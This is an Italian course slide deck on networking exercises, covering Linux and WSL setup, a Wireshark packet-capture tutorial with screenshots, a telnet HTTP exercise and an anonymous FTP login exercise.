internet reti sicurezza

Eserci	tazioni
Conoscere Linux - male non fa, anzi	
<u>Wireshark</u>	Vulnerability assessment
<u>nmap</u>	
FTP -TFTP	
Proxy	
<u>SMTP</u>	Install Apache - Squid - Webmin
Virtual machine	
DNS	
Metasploitable2	

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un buon manuale per iniziare

Google	linux quick reference pdf	
	Tutti Immagini Notizie Shopping Video Altro Impostazioni Strumenti	Linux Quick Reference Guide
	[PDF] Linux Quick Reference Guide (6th ed.) - Crans https://perso.crans.org/~raffo/docs/linux-guide.pdf This guide stems from the notes I have been taking both while working as a Linux sysadmin and while	
	preparing the certification exams LPIC-1 (Linux	6 th edition August 2018

P

https://dr0.ch/docs/linux-guide-8ed.pdf

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Che cos'è PowerShell?

https://learn.microsoft.com/it-it/powershell/scripting/overview?view=powershell-5.1



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Come installare Linux in Windows con WSL

https://learn.microsoft.com/it-it/windows/wsl/install

wsl --install

wsl --list --online o wsl -l -o

wsl.exe --install -d <Distribution Name>

differenza tra ubuntu server e desktop

- 1. Scopo principale:
 - 1. Ubuntu Server è progettato per l'uso su server, ed è ottimizzato per le prestazioni, la stabilità e la sicurezza. È ideale per eseguire servizi, applicazioni server e gestire risorse di rete.
 - 2. Ubuntu Desktop è destinato all'uso su computer desktop o laptop ed è progettato per fornire un'esperienza utente completa, con un'interfaccia grafica e applicazioni per un uso quotidiano.
- 2. Interfaccia utente:
 - 1. Ubuntu Server è solitamente installato senza un'interfaccia grafica (GUI). L'amministrazione è principalmente basata su riga di comando (CLI) tramite il terminale.
 - 2. Ubuntu Desktop offre un **ambiente desktop completo con una GUI**, che facilita l'uso quotidiano del sistema.
- 3. Applicazioni preinstallate:
 - 1. Ubuntu Server ha un set di **applicazioni e servizi orientati al supporto di server**, come Apache (per il web hosting), MySQL (per database), OpenSSH (per l'accesso remoto) e altro. Queste applicazioni sono installate su richiesta.
 - 2. Ubuntu Desktop include **applicazioni come un browser web, un client email, un software per l'ufficio, programmi multimediali e molti altri applicativi utili per gli utenti desktop**.
- 4. Aggiornamenti:
 - 1. Ubuntu Server tende a ricevere meno aggiornamenti grafici e più aggiornamenti di sicurezza e correzioni di bug.
 - 2. Ubuntu Desktop riceve aggiornamenti sia per la sicurezza che per le funzionalità, con un focus maggiore sull'interfaccia utente.
- 5. Requisiti hardware:
 - 1. Ubuntu Server richiede meno risorse hardware rispetto a Ubuntu Desktop, poiché non ha l'onere di eseguire un ambiente desktop completo.

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Come installare Linux in Windows con WSL

https://learn.microsoft.com/it-it/windows/wsl/install

Installare e iniziare a configurare Terminale Windows

https://learn.microsoft.com/it-it/windows/terminal/install

FINE

Conoscere Linux - male non fa, anzi ...



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Wireshark



https://www.wireshark.org/

Tutorial e manuali

https://www.wireshark.org/docs/wsug_html_chunked/

https://imolug.org/sites/default/files/WireShark Manual.pdf

http://security.polito.it/~lioy/01nbe/wireshark intro.pdf

https://www.areanetworking.it/corso-wireshark-prima-lezione.html

https://www.lifewire.com/wireshark-tutorial-4143298

https://www.guru99.com/wireshark-passwords-sniffer.html

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Wireshark – scegliere l'interfaccia



Wireshark – scegliere l'interfaccia

The Wireshark Network Analyzer		
File Edit View Go Capture Analyze Statistics T	íelephony V	
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Apply a display filter < A Start Ctrl+1	E	
Stop Ctrl+7	E	
Restart Ctrl+1	R	
Capture Filters	Wireshark - Capture Interfaces	? X
Ca Refresh Interfaces F5		
using this filter:	Input Output Options	
	Interface Traffic Link-layer Header Promi: Snaplen Buffer (N Monite Ca	apture Filter
	> Connessione alla rete locale (LAN)* 4 Ethernet default 2	
	VirtualBox Host-Only Network Ethernet default 2	
	> VMware Network Adapter VMnet8^ Ethernet 🗹 default 2 —	
	Connessione alla rete locale (LAN)* 6 Ethernet default 2	
	> VMware Network Adapter VMnet1^ Ethernet ✓ default 2 —	
	> Ethernet A Ethernet 🗹 default 2	
	> Wi-Fi Ethernet ✓ default 2 —	
	> Ethernet 2^ Ethernet 🗹 default 2 —	
	<	>
	Enable promiscuous mode on all interfaces	e Interfaces
	Capture filter for selected interfaces:	Compile BPFs
	Start Chiudi	Aiuto
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Wireshark – pagina principale

🔏 Capturing from Etherne	et				-		×
File Edit View Go	Capture Analyze Statistic	s Telephony Wireless	Tools Help	,			
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389 16.492710	193.205.92.97	146.148.8.25	тср	571 [TCP Retransmission] 4508 \rightarrow 443 [PSH, ACK] Seq=1 Ack	=1 Win=66048 Len=517		
390 16.508787	216.58.205.138	193.205.92.97	TLSv1.2	100 Application Data			
391 16.508851	31.13.86.36	193.205.92.97	TLSV1.2	93 Application Data 55 [TCP Retransmission] 4506 → 443 [ACK] Seq=0 Ack=1 Wi	n=258 en=1		
393 16.548963	193.205.92.97	31.13.86.36	TCP	54 4322 → 443 [ACK] Seq=40 Ack=40 Win=255 Len=0			
394 16.548963	193.205.92.97	216.58.205.138	тср	54 4251 → 443 [ACK] Seq=47 Ack=47 Win=253 Len=0			
395 16.568150	Cisco_03:6b:8e	CDP/VTP/DTP/PAgP/UD	CDP	518 Device ID: CA.N.P.INF0.2960XLODO.unicam Port ID: Gi	gabitEthernet1/0/14		
396 16.737593	193.205.92.97	92.123.21.122	TLSv1.2	54 4480 a 443 [FIN ACK] Seg=33 Ack=1 Win=256 Len=0			
398 16.767666	92.123.21.122	193.205.92.97	тср	60 443 → 4480 [ACK] Seq=1 Ack=33 Win=273 Len=0			
399 16.767784	92.123.21.122	193.205.92.97	TLSv1.2	85 Encrypted Alert			
400 16.767785	92.123.21.122	193.205.92.97	ТСР	60 443 → 4480 [FIN, ACK] Seq=32 Ack=34 Win=273 Len=0			
401 16.767816	193.205.92.97	92.123.21.122	тср	54 4480 → 443 [RST, ACK] Seq=34 Ack=32 Win=0 Len=0	=1 Win=66048 Len=517		
402 16.933541	Cisco_03:6b:8e	Spanning-tree-(for	STP	119 MST. Root = 0/0/08:96:ad:f6:85:00 Cost = 0 Port = 0	0x800e		
<pre>> Internet Protocol > Transmission Contr 00000 08 96 ad f6 85 0010 00 29 32 dd 40 0020 15 7a 11 84 01 0030 01 02 90 90 00</pre>	<pre>00 d8 50 e6 0a e6 1d 00 d8 50 e6 0a e6 1d 00 40 06 77 cc c1 cd bb 15 bb 91 03 5c 23 00 00</pre>	08 00 45 00 5 ci 5c 7b -)2:@: 77 fc 50 10	P ·····E - •···E - •···¥₩·P	:k: 1, Len: 1			
Ethernet: <live cap<="" p=""></live>	oture in progress>				Packets: 403 - Displayed: 403 (100.0%)	Profile: Defa	ault

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Wireshark – Statistiche

Capture File Properties C	trl+Alt+Shift+C	*Ethernet			- 🗆 X
Resolved Addresses	-	File Edit View Go Capture Analyze S	Capture File Properties Ctrl+Alt+Shift+C		
Desta est l'inserable	-	tcp.stream eq 40	Resolved Addresses		Expression +
Protocol Hierarchy	1	No. Time Source	Protocol Hierarchy	1 Info	^
Conversations	4	3511 39.930033 193.205.92.97 3513 39.932716 193.205.92.97	Conversations	4 4653 → 443 [ACK] Seq=1 Ack=1 Win=66048 Len=0	
Endpoints	1	3514 39.951157 216.58.205.14	Endpoints Dasket Longths	Ø 443 → 4653 [ACK] Seq=1 Ack=518 Win=61952 Len=0	
	e	3515 39.967662 216.58.205.14 3516 39.967877 216 58 205 14	I/O Graph	4 Server Hello 4 443 → 4653 [4CK] Sen=1381 Ack=518 Win=61952 Len=1380 [TCP segment of a reassembled PDU]	
Packet Lengths	4	3517 39.967919 193.205.92.97	Service Response Time	4 4653 → 443 [ACK] Seq=518 Ack=2761 Win=66048 Len=0	
I/O Graph	4	3518 39.968761 216.58.205.14 3519 39.973729 193.205.92.97	DHCP (BOOTP) Statistics	2 Certificate, Server Key Exchange, Server Hello Done 7 Client Key Exchange, Change Cinher Spec, Encrypted Handshake Message	
Service Response Time	• 4	3520 39.974042 193.205.92.97	ONC-RPC Programs	8 Application Data	
bernee nesponse nine		3522 39.992720 216.58.205.14 3523 39.992953 216 58 205 14	29West	8 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 3 Application Data	
DHCP (BOOTP) Statistics		3524 39.992953 216.58.205.14	ANCP	2 Application Data	
		3525 39.992974 193.205.92.97 3526 39.993147 193.205.92.97	BACnet •	4 4653 → 443 [ACK] Seq=805 Ack=3730 Win=65024 Len=0 5 Encrypted Alert	
UNC-RPC Programs		3527 39.993177 193.205.92.97	Collectd	4 4653 → 443 [FIN, ACK] Seq=836 Ack=3730 Win=65024 Len=0	~
29West	→ [> Frame 3527: 54 bytes on wire (432	DNS Elow Graph	terface 0	
ANCP	Į	> Ethernet II, Src: AsustekC_0a:e6:	HART-IP	0 (08:96:ad:f6:85:00)	
BAC 1		 Internet Protocol Version 4, Src: Transmission Control Protocol, Src 	HPFEEDS	:: 3730, Len: 0	
BACnet			HTTP •		
Collectd			HTTP2		
DNS	Í.		Sametime TCP Stream Graphs		
51	E		UDP Multicast Streams		
Flow Graph			E5		
HART-IP	ľ		IPv4 Statistics		
HPFEEDS			IPv6 Statistics		
LITTO				2	
HTTP		0000 08 96 ad f6 85 00 d8 50 e6 0a e	6 1d 08 00 45 00 ·····P ·····E·		
HTTP2		0010 00 28 46 c0 40 00 40 06 30 18 c 0020 cd 8e 12 2d 01 bb 42 24 4c 31 3	1 cd 5c 61 d8 3a · (F·@·@· 0···\a·: b 33 e4 03 50 11 ······B\$ 1:3··P·		
Sametime		0030 00 fe 29 69 00 00	··)i··		
TCP Stream Graphs	•				
UDP Multicast Streams					
F5	•				
IPv4 Statistics	•				
IPv6 Statistics	•				
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		wireshark_31F20730-8C4F-4C02-B264-D3E	5F3F123B7_20181022102918_a12192.pcapng	Packets: 19417 · Displayed: 19 (0.1%)	Profile: Default

Wireshark – Statistiche - I/O Graph



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Wireshark – Statistiche - Conversation

Ethernet • 170	IPv4 · 198	IPv6 • 29	TCP	· 199 UDP · 5	541							
Address A	Address B	Packets	Bytes	$Packets\:A\toB$	Bytes A \rightarrow B	$Packets\:B\toA$	Bytes $B \rightarrow A$	Rel Start	Duration	$Bits/s\:A\toB$	$Bits/s\:B\toA$	
0.0.0	255.255.255.255	5 3	1068	3	1068	0	0	1358.925281	0.0664	128 k		0
.237.133.169	193.205.92.124	1	66	1	66	0	0	1040.143865	0.0000	_		_
0.1.0.111	193.205.92.164	1	66	1	66	0	0	1643.935829	0.0000	_		_
3.107.5.88	193.205.92.97	28	9032	14	7438	14	1594	254.819504	67.5835	880		188
3.1.75.203	193.205.92.131	9	811	9	811	0	0	281.927049	13.3721	485		0
3.13.61.84	193.205.92.97	14	5645	8	5096	6	549	221.508485	3.6941	11 k		1188
1.13.86.4	193.205.92.97	2.906	2634 k	2.092	2557 k	814	76 k	1576.555724	208.7664	98 k		2914
1.13.86.8	193.205.92.97	381	128 k	165	30 k	216	97 k	1581.195984	246.0368	1002		3167
1.13.86.15	193.205.92.97	8.935	10 M	7.438	10 M	1.497	110 k	1630.633300	164.1474	503 k		5386
1.13.86.36	193.205.92.97	1.284	861 k	751	652 k	533	209 k	1575.069856	270.1891	19 k		6196
1.14.131.188	193.205.92.27	1	90	1	90	0	0	1054.581879	0.0000	_		_
5.163.53.118	193.205.92.97	6	452	2	170	4	282	102.209889	0.1946	6990		11 k
7.77.114.151	193.205.92.67	1	66	1	66	0	0	1086.901817	0.0000	_		_
0.67.251.132	193.205.92.97	95	11 k	32	5760	63	5705	41.479365	1800.0972	25		25
0.70.184.83	193.205.92.97	37	15 k	15	12 k	22	2962	539.240421	914.6945	109		25
0.77.226.249	193.205.92.97	24	8442	10	7070	14	1372	1471.440682	95.3014	593		115
2.11.162.210	193.205.92.97	26	11 k	10	4180	16	7626	102.661996	0.8051	41 k		75 k
2.54.248.107	193.205.92.138	11	1078	11	1078	0	0	1576.560899	160.0151	53		0
2.114.158.91	193.205.92.97	17	7329	8	4655	9	2674	954.706102	0.9574	38 k		22 k
2.138.216.83	193.205.92.97	77	25 k	34	21 k	43	4170	249.746002	503.0874	341		66
4.38.180.81	193.205.92.112	2	140	2	140	0	0	475.550582	0.0246	45 k		0
4.187.46.234	193.205.92.97	24	1474	12	818	12	656	0.332218	40.3812	162		129
4.201.6.28	193.205.92.97	10	598	5	325	5	273	6.592993	30.4884	85		71
4.210.203.205	193.205.92.138	11	1078	11	1078	0	0	1576.183914	160.2319	53		0
0.191.38.77	193.205.92.117	2	120	2	120	0	0	541.862935	1.3591	706		0
4.233.166.94	193.205.92.97	303	281 k	202	275 k	101	6185	27.595445	16.1797	136 k		3058
4.233.166.154	193.205.92.97	49	8921	27	5950	22	2971	1576.148122	259.3192	183		91
4.233.166.189	193.205.92.131	10	1164	10	1164	0	0	8.126912	29.9172	311		0
4.233.166.189	193.205.92.79	1	105	1	105	0	0	1089.850233	0.0000	_		_
4 233 166 190	103 205 92.138	12	1512	12	1512	0	0	1565.746410	120.8466	100		0
1 233 166 190	102 205 02 07	362	65 k	212	40 k	150	24 k	1581 205829	260.6050	1253		744
] Name resolutio	n 🗌 Li	mit to displa	y filter	Abso	lute start time						Conversat	ion Type
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Wireshark – Preferences

📕 Wireshark · Preference	:es	?	\times
 Appearance Columns Font and Colors Layout Capture Expert Filter Buttons Protocols Statistics Advanced 	Name Resolution Resolve MAC addresses Resolve namour names Resolve network (IP) addresses Use captured DNS packet data for address resolution Use an external network name resolver Maximum concurrent requests 500 Only use the profile "hosts" file Resolve VLAN IDS Resolve SS7 PCs Enable OID resolution Suppress SMI errors SMI (MIB and PIB) paths Edit MaxMind database directories		
	OK Annulla	Aiut	to

Wireshark - Statistiche - Conversation

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	2	2 3.88021	6 a10	89.d.akama	i.net	mfausto.amm	inistraz.	. TCP		66 80 → 4608 [A	 ACK] Seq=1	1 Ack=2	Win=237 L	Len=0 SLE=1	SRE=	ri-/>						
	6	8 13.8796	20 mfa	usto.ammir	nistraz…	a1089.d.aka	mai.net	ТСР		55 [TCP Keep-Al	live] 4608	8 → 80 [/	[ACK] Seq=	=1 Ack=1 Wir	1=257	Sou	irce		Destinatio	n		Protocol
	6	9 13.8926	94 a10	189.d.akama	i.net	mfausto.amm	inistraz…	. ТСР		66 [TCP Keep-Al	live ACK]	80 → 46	508 [ACK]	Seq=1 Ack=2	2 Win	-		to amministana	-1020	d akamat ne	+	UTTO
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00b0	35	66	34	39	62	39	34	63	65	31	34	34	34	65	62	37	5f49b94c	e1444eb	,										
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00d0	70	, 74	, 2d	52	61	6e	67	65	73	Зa	20	62	79	74	65	73	pt-Range	s: byte	5						-				
0	1	wires	hark	/ <u>3</u> 1F	207	30-8	C4F	4002	2-B26	4-D3	E5F	3F12	3B7_	201	8102	22102	2918_a12192.p	capng		Packets: 6214	5 Display	ed: 13 (0	arcar 5.0%)	Droppe	Fau ed: 0 ((5TO).0%)	Profil	e: Defa	ult

Wireshark - Statistiche - Conversation

Ethernet · 170 IPv4 · 198 IPv6 · 29 TCP · 199 UDP	• 541					
Address A	Address B	Packets	Bytes	$Packets\:A\toB$	Bytes A \rightarrow B	Pac
0.0.0.0	255.255.255.255	3	1068	3	1068	
2.237.133.169	4helix.amministrazione.unicam	1	66	1	66	
10.1.0.111	193.205.92.164	1	66	1	66	
e-0009.e-msedge.net	mfausto.amministrazione.unicam	28	9032	14	7438	
a23-1-75-203.deploy.static.akamaitechnologies.com	fabriziounicam.local	9	811	9	811	
e15275.g.akamaiedge.net	mfausto.amministrazione.unicam	14	5645	8	5096	
scontent-mxp1-1.xx.fbcdn.net	mfausto.amministrazione.unicam	2.906	2634 k	2.092	2557 k	
star.c10r.facebook.com	mfausto.amministrazione.unicam	381	128 k	165	30 k	
video-mxp1-1.xx.fbcdn.net	mfausto.amministrazione.unicam	8.935	10 M	7.438	10 M	
facebook.com	mfausto.amministrazione.unicam	1.284	861 k	751	652 k	
host188-131-14-31.serverdedicati.aruba.it	193.205.92.27	1	90	1	90	
ec2-35-163-53-118.us-west-2.compute.amazonaws.com	mfausto.amministrazione.unicam	6	452	2	170	
37.77.114.151	193.205.92.67	1	66	1	66	
40.67.251.132	mfausto.amministrazione.unicam	95	11 k	32	5760	
ieonlinews.trafficmanager.net	mfausto.amministrazione.unicam	37	15 k	15	12 k	
db5-ap.settings.data.microsoft.com.akadns.net	mfausto.amministrazione.unicam	24	8442	10	7070	
pipeline-edge-prod-25-561439127.us-west-2.elb.amazonaws.com	m mfausto.amministrazione.unicam	20 1	11 k	10	4180	
ec2-52-54-248-107.compute-1.amazonaws.com	cippus-ThinkPad-13.local		1078	11	1078	
onecollector.cloudapp.aria.akadns.net	mfausto.amministrazione.unicam	17	7329	8	4655	
db5-eap.settings.data.microsoft.com.akadns.net	mfausto.amministrazione.unicam	77	25 k	34	21 k	
81.ip-54-38-180.eu	farmy.amministrazione.unicam	2	140	2	140	
ec2-54-187-46-234.us-west-2.compute.amazonaws.com	mfausto.amministrazione.unicam	24	1474	12	818	
ec2-54-201-6-28.us-west-2.compute.amazonaws.com	mfausto.amministrazione.unicam	10	598	5	325	
ec2-54-210-203-205.compute-1.amazonaws.com	cippus-ThinkPad-13.local	11	1078	11	1078	
60.191.38.77	193.205.92.117	2	120	2	120	
wm-in-f94.1e100.net	mfausto.amministrazione.unicam	303	281 k	202	275 k	
stats.l.doubleclick.net	mfausto.amministrazione.unicam	49	8921	27	5950	
cello.client-channel.google.com	fabriziounicam.local	10	1164	10	1164	
cello.client-channel.google.com	pc-mancin-bea-2.amministrazione.unicam	1	105	1	105	
cello client-channel google com	cinnus-ThinkPad-13 local	12	1512	12	1512	
Name resolution	solute start time				Converse	ation
					Converse	

Wireshark — filtro http

	TEthernet	– 🗆 X
	File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help	
	http	Expression +
	No. Time Source Destination Protocol Length Info	^
مبيعها	4 0.219409 193.205.92.97 216.58.205.142 HTTP 55 Continuation	
nup	2 01.3.867041 133.265.92.97 133.265.153.70 HTP 55 Continuation	
	1149 26, 913749 193, 265, 92, 97 216, 58, 265, 142 OCSP 512 Request	
	124/2/.049949 216.56.29.192 195.205.92.97 0CSP 758 Response 1249 27.047289 193.205.92.97 216.58.205.142 0CSP 512 Request	
	1260 27.179422 216.58.205.142 193.205.92.97 OCSP 759 Response	
A 151	L→+ 3276 33.888877 193.285.92.97 193.286.135.176 HTP 373 GET /success.txt HTFP/1.1 TTP 438 HTP/1.1 280 (K (text/plain)	
A *Ethernet	CSP 512 Request	
File Edit View Go Capture Analy	CSP 512 Request	
File Edic View Go Capture Analy	1922 Statistics releptionly wireless tools CSP 512 Request	
	😂 🔿 🕾 🚡 📕 😌 OL OL OL III CSP 759 Response	
		~
http	3594 bits) on interface 0 tekC 00:e61id (dis50:e6:00:e6:1d)	
No. The Source	Destination Protocol	
1 0 010400 100 005 00		
4 0.219409 193.205.92	2.97 216.58.205.142 HTTP	
5 0.221411 193.205.92	2.97 216.58.205.142 HTTP	
21 3.867041 193.205.92	2.97 193.206.135.170 HTTP	
1149 26.913749 193.205.92	2.97 216.58.205.142 OCSP	
1247 27.045948 216.58.205	5.142 193.205.92.97 OCSP	
1249 27.047289 193.205.92	2.97 216.58.205.142 OCSP	
1260 27 179422 216 58 205	5 142 193 265 92 97 OCCP	
2076 22 202070 102 205 02		
		^
3289 33.821469 193.206.13	35.170 193.205.92.97 HTTP	
	0040 30 20 45 46 40 40 40 45 45 45 21 51 25 12 25 2 0040 30 20 45 46 40 40 40 43 65 65 74 25 55 74 25 54 00 0K *** Ontent-T	
	0050 79 70 65 3a 22 74 65 78 74 2f 70 6c 61 69 6e 0d ype: tex t/plain . 00660 0a 43 6f 6e 74 65 6e 74 2 d4 c6 56 6e 74 66 3a . Content - Length:	
	0970 20 38 80 0a 4c 51 73 74 2d 4d 6f 64 59 66 69 55 8-Last -Modifie	
	0000 04 5a 20 44 01 06 22 20 51 52 20 44 01 7 20 52 41 - 1017 15 Hay 2 0000 30 31 37 20 31 38 3a 30 34 3a 24 30 24 7 4d 54 017 18:0 4140 GMT	
	00a0 0d 0a 45 54 61 67 3a 20 22 61 65 37 38 30 35 38 ···FTag: "ae78058 00b0 35 66 34 39 6 53 19 34 63 65 31 34 34 36 56 23 5 549949 e1444eb7	
	0000 64 32 38 39 30 36 31 32 33 22 04 00 41 63 63 65 d2890612 3" Acce	
	00e0 00 0/35 65 72 76 65 72 3a 20 41 66 17 a 6f 6e - Server: Amazon	
	00f0 53 33 0d 0a 55 2d 41 5d 7a 2d 43 65 2d 49 64 3a 53 "X-Am z-CF-1d] 0100 2d 4= 33 59 57 84 95 64 15 86 45 56 55 45 43 41 N3YX15 AXUU HC	
	0110 79 59 50 45 55 7a 55 4e 79 64 4e 4a 30 62 66 35 YYPEUzUN ydNJ0bF5	U. I.
42/42/2022	V Hypertext Transfer Protocol: Protocol	Profile: Default
12/10/2023	copyright Marcantoni Fausto	11 141

Wireshark – Analizza

						*Ethernet										- 0	×
						File Edit Vie	w Go Ca	apture A	analyze Statistics Tele	phony Wireless	Tools Help						
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						http			Display Filter Macros							Expression	+
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-	Analy	e Statistics le	elephony wireless	TOOIS P	leip		1	193.2	Prepare a Filter		HTTP	55 Continuation					
	Г	licnlay Filters		1 11			49	193.2	Conversation Filter	•	OCSP	512 Request					
4		ispidy incers					48	216.5	Franklad Darts sale	Chill, Childs, F	OCSP	759 Response					
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=					1		70	193.2	Reload Lua Plugins	Ctrl+Shift+L	нттр	373 GET /success.txt HT	TP/1.1				
ce	1	nnly as Column	Ctrl+Shift+1	Protocol	Length Info		69	193.2			HTTP	438 HTTP/1.1 200 OK (1 512 Request	ext/plain)				
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.2				HTTP	55 Continuatio	n	194	216.5	Show Packet Bytes	Ctrl+Shift+O	UDP Stre	eam Ctrl+Alt+Shift+U					
.2	F	repare a Filter	•	HTTP	55 Continuatio	n	198	216.5	Expert Information		SSL Strea	am Ctrl+Alt+Shift+S					~
2		envertion Filter		OCSP	512 Request		38 hvte	es on wi	re (3504 hits), 438	bytes canturer	HITP SU	an interface 0					_
		onversation Filter	,	OC SP	Jiz Request		Src: Ci	Lsco_f6:	85:00 (08:96:ad:f6:8	35:00), Dst: A	ustekC_0a:e	e6:1d (d8:50:e6:0a:e6:1d)				
. 5				OCSP	759 Response		ocol Ve	ersion 4	, Src: 193.206.135.1	170, Dst: 193.2	05.92.97						
.2	E	nabled Protocols	. Ctrl+Shift+E	OCSP	512 Request		nsfer P	Protocol	oi, Src Port: 80, Di	st Port: 4008,	Seq: I, ACK	:: 521, Len: 584					
.5		and An		OCSP	759 Response		xt data	a: text/	plain (1 lines)								
		ecode As		UTTO	272 CET (200200	-											
• 4	F	eload Lua Plugins	Ctrl+Shift+1	HITP	575 GET /Succes	S.TXT HI	11										
. 2				HTTP	438 HTTP/1.1 20	00 OK (t	ex										
.2		CTD		OCSP	512 Request												
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. 5		Apere internation		LITT	D Streamer Chall, Alt. C	Life LI	4f 4b 0	d 0a 43	6f 6e 74 65 6e 74	2d 54 00 OK	C ontent-T						
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1 14	ire (3504 hits), 43	38 bytes cantured	(3504 h	its) on interface	0 0050 64 33	0a 4c 6	1 73 74	2d 4d 6f 64 69 66	69 65 8 ··· La	st -Modifie						
						0090 30 31	37 20 31 3	18 3a 30	34 3a 34 30 20 47	4d 54 017 18	:0 4:40 GMT						
						00a0 0d 0a	45 54 61 6 34 39 62 3	7 3a 20	22 61 65 37 38 30 65 31 34 34 34 65	35 38 ··ETag 62 37 5f49b9	: "ae78058 4c e1444eb7						
						00c0 64 32	38 39 30 3	6 31 32	33 22 0d 0a 41 63	63 65 d28906	12 3"··Acce						
						00d0 70 74 00e0 0d 0a	2d 52 61 6 53 65 72 7	ie 67 65 76 65 72	73 3a 20 62 79 74 3a 20 41 6d 61 7a	65 73 pt-Ran 6f 6e ··Serv	ge s: bytes er : Amazon						
						00f0 53 33	0d 0a 58 2	d 41 6d	7a 2d 43 66 2d 49	64 3a S3··X-	Am z-Cf-Id:						
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						O Z Hypert	ext Transfer P	Protocol: Pr	otocol					Packets: 22020 · Displa	yed: 23 (0.1%)	Profile: D	

Wireshark — Follow HTTP Stream

wiresnark · Fo	low HTTP Stream	(icp.stream eq 7)	· cinemet								_		
GET /success.	txt HTTP/1.1												_
Host: detectp	ortal.firefox	com											
User-Agent: N	lozilla/5.0 (W:	indows NT 10.0	0; Win64; x6	64; rv:6	2.0) Gecko/2010)101 Firef	fox/6	52.0					
Accept: */*													
Accept-Langua	ge: it-IT,it;	q=0.8,en-US;q=	=0.5,en;q=0.	.3									
Accept-Encodi	.ng: gzip, def]	late											
Cache-Control	.: no-cache												
Pragma: no-ca	icne												
connection. A	eep-arrve												
HTTP/1.1 200	OK												
Content-Type:	text/plain												
Content-Lengt	:h: 8												
Last-Modified	: Mon, 15 May	2017 18:04:40	0 GMT										
ETag: "ae7805	85f49b94ce1444	4eb7d28906123											
Accept-Ranges	: bytes												
Server: Amazo	InS3	IC ADDITION AND	and from the own		-D-hochoo								
X-Amz-Ct-Id:	N3YVx1+AXdU6_H	ICYYPEUZUNYdN	J0bf5vyIt9Mc	15rq3Fn	wDqh9Cb0Q==								
Cache-Control	.: no-cacne, no	D-Store, must	-revalidate										
Connection: 4	. OCC 2010 00:2	20:02 001											
conneccion. I	cep-diive												
success													
client pkt(s), 1 serve	r pkt(s), 1 turn(s).												
Entire conversation	1 (703 bytes)		•						Sh	ow and	save data as	ASCII	
ind:												Find N	lex
					Film Out This St	D. I.		C	Devi		ohiudi		
	copyright	Marcantor	n Fausto		Hiter Out This Stream	Print		Save as	Back		Chiudi	Alut	10

Wireshark – rimuovere filtri



Wireshark – esercitazione individuale

telnet pros.unicam.it 80

• digitare e commentare:

- abcdef
- GET /index.html HTTP/1.0
- HEAD
- HEAD /index.html HTTP/1.0
- POST
- GET /index.html HTTP/1.1

	*Ethern	et																			_]	×
File	Edit	View	Go	Capture	Ana	alyze	Statis	tics	Telepho	ony V	Vireless	Tools	He	elp										
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<mark>,</mark> h	ttp																		Þ	<1		Expres	sion	+
No.		Time		Source	e			De	stination	n		Proto	col	Length	Info				4-	-				
> +	51 53	7.2483	49 89	193.	205.9 16.0.	92.97 .8		17	2.16.0	0.8 .92.97		НТТР		56 615	GET	/inde /1.1	x.htr 302 H	ni HTT Found	TP/1. (te	0 xt/h	tml)			
																			X					
<																								>
> F > E > I > T > [rame thern ransm 4 Rea ypert \r\r [HT] [Re	51: 56 et II, et Prot ission ssemble ext Tra /index n TP requ sponse	bytes Src: Contr d TCP ansfer c.html uest 1, in fr	on wir Asustek Versior ol Prot Segmer Protoc HTTP/1 /1] ame: 53	re (4 kC_0a n 4, tocol nts (col 1.0\r	48 b: :e6:: Src: 28 by	its), 1d (d8 193.2 2 Port ytes);	56 b 3:50: 205.9 t: 70 : #39	ytes c e6:0a: 2.97, 00, Ds (1), #	capture :e6:1d Dst: : st Port #41(23)	ed (44), Dst 172.10 t: 80,), #40	<pre>#8 bits :: Cisc 5.0.8 ; Seq: 5(2), # </pre>) on o_f6 27, 51(2	inter :85:00 Ack: 1)]	face) (08	0 :96:au n: 2	d:f6:	85:00	•)					
000	0 47 0 48	45 54 54 54	20 2f 50 2f	69 6e 31 2e	64 30	65 78 0d 0a	3 2e 6 a <mark>0d 0</mark>	i8 74	6d 6c	: 20	GET / HTTP/	ind ex 1.0 ··	htm •	1										
Fran	ne (56 b	oytes) nt Mai extitem	Reasse Canti (text), 2	embled TC oni Fa oytes	P (28 Usto	bytes)							Pac	kets: 70	• Disp	layed: 2	(2.9%	6) • Dro	pped:	0 (0.0)%)	Profile	: Defa	/lt

Wireshark contrib

$\leftarrow \rightarrow C \bigcirc O $	https://gitlab.com/wireshark/wireshark/-/wikis/Contrib
🦊 😑 🔍 Search GitLab	
/ wireshark	Wireshark Foundation > wireshark > Wiki > Contrib
Project informationRepository	Last edited by 🚫 Chuck Craft 2 weeks ago
Issues 1,369 Merge requests 172 CI/CD	Contrib This page contains a collection of user-created public scripts, macro
DeploymentsMonitor	 Colouring Rules Display Filter Macros Lua Plugins
↓ Analytics ↓ Wiki	 Protocol Dissectors Statistic Taps or Post-Dissectors File Formats
 ☑ External wiki ✗ Snippets 	Other Extcap Plugins

https://gitlab.com/wireshark/wireshark/-/wikis/Contrib

FINE WIRE**SHARK**



12/10/2023

FTP



Connessione server ftp

Collegarsi ad un server ftp Autenticarsi con **anonymous** Digitare una **password** "*password*" Vedere l'elenco dei file Disconnettersi



ftp con wireshark

			*Ethernet					_	
		File	Modifica Visualizza	Vai Cattura Analizza	Statistiche Telefoni	a Wireless	Strumenti Aiuto		
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	II.C. II	🔲 ft	p					Espre	essione +
Filtro	"ftp"	No.	Time	Source	Destination	Protocol	Length Info		
	•		110 2.260368	193.205.92.110	mfausto.amministr	az… FTP	74 Response: 220 (vsFTPd 2.3.4)		
			112 2.263148	mfausto.amministra…	193.205.92.110	FTP	68 Request: OPTS UTF8 ON		
			116 2.263297	193.205.92.110	mfausto.amministr	az… FTP	80 Response: 200 Always in UTF8 mode		
			334 6.456316	mfausto.amministra…	193.205.92.110	FTP	70 Request: USER anonymous		
			336 6.456624	193.205.92.110	mfausto.amministr	az… FTP	88 Response: 331 Please specify the	password.	
			416 8.825462	mfausto.amministra…	193.205.92.110	FTP	64 Request: PASS xxx		
			418 8.826077	193.205.92.110	mfausto.amministr	az… FTP	77 Response: 230 Login successful.		
			519 11.902120	mfausto.amministra…	193.205.92.110	FTP	82 Request: PORT 193,205,92,108,13,1	92	
			521 11.902345	193.205.92.110	mfausto.amministr	az… FTP	105 Response: 200 PORT command succes	sful. Consider	r using PA
			523 11.908362	mfausto.amministra…	193.205.92.110	FTP	60 Request: LIST		
			531 11.908844	193.205.92.110	mfausto.amministr	az… FTP	93 Response: 150 Here comes the dire	ctory listing,	.
			533 11.909976	193.205.92.110	mfausto.amministr	az… FTP	78 Response: 226 Directory send OK.		
